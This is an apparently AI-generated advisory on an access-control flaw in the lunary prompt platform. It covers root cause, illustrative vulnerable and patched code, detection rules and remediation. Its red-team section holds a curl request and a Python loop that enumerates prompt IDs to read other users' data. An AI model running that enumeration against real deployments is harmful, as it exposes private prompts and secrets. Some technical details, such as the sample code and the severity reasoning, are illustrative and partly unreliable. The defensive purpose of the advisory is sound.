CVE-2024-11300

Executive Summary

CVE-2024-11300 is an improper access control vulnerability in lunary-ai/lunary, an open-source AI prompt management platform. The flaw allows an authenticated user to access and view prompt data belonging to another user by directly manipulating URLs. This leads to unauthorized disclosure of sensitive prompt data, which may include proprietary AI prompts, API keys, or other confidential information embedded in prompts. The vulnerability affects all versions prior to 1.6.3, including the main branch. The CVSS score of 8.8 (High) reflects the low complexity of exploitation and the high potential impact on confidentiality and integrity.

Supply Chain & Package Security

This vulnerability is in a Python-based open-source project (lunary-ai/lunary). While no direct supply chain compromise is reported, the improper access control could be exploited in environments where lunary is deployed as a service. Organizations using lunary should verify they are running version 1.6.3 or later and review any custom integrations that may expose prompt data.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs a valid user account.
• User Interaction: None (UI:N) – No victim action needed.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full disclosure of prompt data.
• Integrity Impact: High (I:H) – Attacker can view and potentially modify prompt data.
• Availability Impact: High (A:H) – Could lead to service disruption if sensitive data is leaked.

Threat Level: High. The vulnerability is easy to exploit with low privileges and can lead to significant data exposure.

Deep Dive & Mechanics

The vulnerability resides in the access control logic of lunary's API endpoints that serve prompt data. The application fails to properly verify that the requesting user is the owner of the prompt being accessed. By manipulating the URL (e.g., changing a user ID or prompt ID parameter), an attacker can enumerate and view prompts belonging to other users.

Root Cause: The application does not enforce a user-scoped query when fetching prompt data. Instead, it relies on the client-provided identifier without cross-referencing it against the authenticated user's session.

Attack Vector: An authenticated user sends a GET request to an endpoint like /api/prompts/{prompt_id} or /api/users/{user_id}/prompts and modifies the prompt_id or user_id parameter to access another user's data.

Impact: Exposure of sensitive AI prompts, which may contain proprietary algorithms, API keys, or business logic. This could lead to intellectual property theft, privilege escalation, or further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.6.3):

# Example vulnerable endpoint
@app.route('/api/prompts/<prompt_id>')
def get_prompt(prompt_id):
    prompt = db.query("SELECT * FROM prompts WHERE id = ?", prompt_id)
    return jsonify(prompt)

The query does not filter by the authenticated user's ID.

Patched Code (version 1.6.3):

# Example patched endpoint
@app.route('/api/prompts/<prompt_id>')
def get_prompt(prompt_id):
    user_id = get_current_user_id()
    prompt = db.query("SELECT * FROM prompts WHERE id = ? AND user_id = ?", prompt_id, user_id)
    if not prompt:
        abort(404)
    return jsonify(prompt)

The patched version adds a user_id filter to ensure the prompt belongs to the requesting user.

Exploitation & Lab Setup

Red Team

Prerequisites: A valid user account on a lunary instance (version < 1.6.3).

Exploitation Steps:

1. Log in to the lunary application and obtain a session token.
2. Identify the endpoint that serves prompt data, e.g., https://target.com/api/prompts/.
3. Enumerate prompt IDs by brute-forcing or using a known ID.
4. Send a GET request with a different prompt ID:

   curl -H "Authorization: Bearer <token>" https://target.com/api/prompts/123
   

5. If the response contains prompt data belonging to another user, the vulnerability is confirmed.

Automated Exploitation (Python):

import requests

target = "https://target.com"
token = "<your_token>"
headers = {"Authorization": f"Bearer {token}"}

for prompt_id in range(1, 1000):
    r = requests.get(f"{target}/api/prompts/{prompt_id}", headers=headers)
    if r.status_code == 200 and "prompt" in r.json():
        print(f"Found prompt {prompt_id}: {r.json()}")

Blue Team

Detection:

• Monitor for unusual patterns of GET requests to /api/prompts/ or /api/users/ endpoints with sequential or brute-forced IDs.
• Alert on multiple 200 responses from different prompt IDs from the same user session.

Hunting:

• Search logs for requests where user_id in the URL does not match the authenticated user's ID.
• Look for rapid enumeration of prompt IDs (e.g., more than 10 requests per minute to different prompt IDs).

Lab Setup:

• Deploy a vulnerable lunary instance (version 1.6.2) using Docker:

  docker run -d -p 8080:8080 lunary-ai/lunary:1.6.2
  

• Create two test users and prompts to simulate the attack.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /api/prompts/{id} or /api/users/{id}/prompts with varying IDs.
• Logs: Multiple 200 responses from different prompt IDs from the same user session.
• User Agent: Any standard HTTP client (curl, Python requests, etc.).
• Source IP: Attacker's IP address (may be a proxy or VPN).

Detection Engineering

YARA Rule

rule CVE_2024_11300_Lunary_Access_Control {
    meta:
        description = "Detects exploitation attempts of CVE-2024-11300 in lunary-ai/lunary"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11300"
    strings:
        $s1 = "/api/prompts/" ascii wide nocase
        $s2 = "/api/users/" ascii wide nocase
        $s3 = "Authorization: Bearer" ascii wide nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2024-11300 - Lunary Unauthorized Prompt Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit improper access control in lunary-ai/lunary
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11300
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains:
            - '/api/prompts/'
            - '/api/users/'
    condition: selection
falsepositives:
    - Legitimate access to own prompts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11300 - Lunary Unauthorized Prompt Access"; flow:to_server; content:"GET"; http_method; content:"/api/prompts/"; http_uri; content:"Authorization"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade lunary to version 1.6.3 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with suspicious prompt ID patterns.

Long-term:

• Enforce proper access control checks on all API endpoints.
• Conduct a security audit of the application's authorization logic.
• Implement rate limiting to prevent enumeration attacks.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.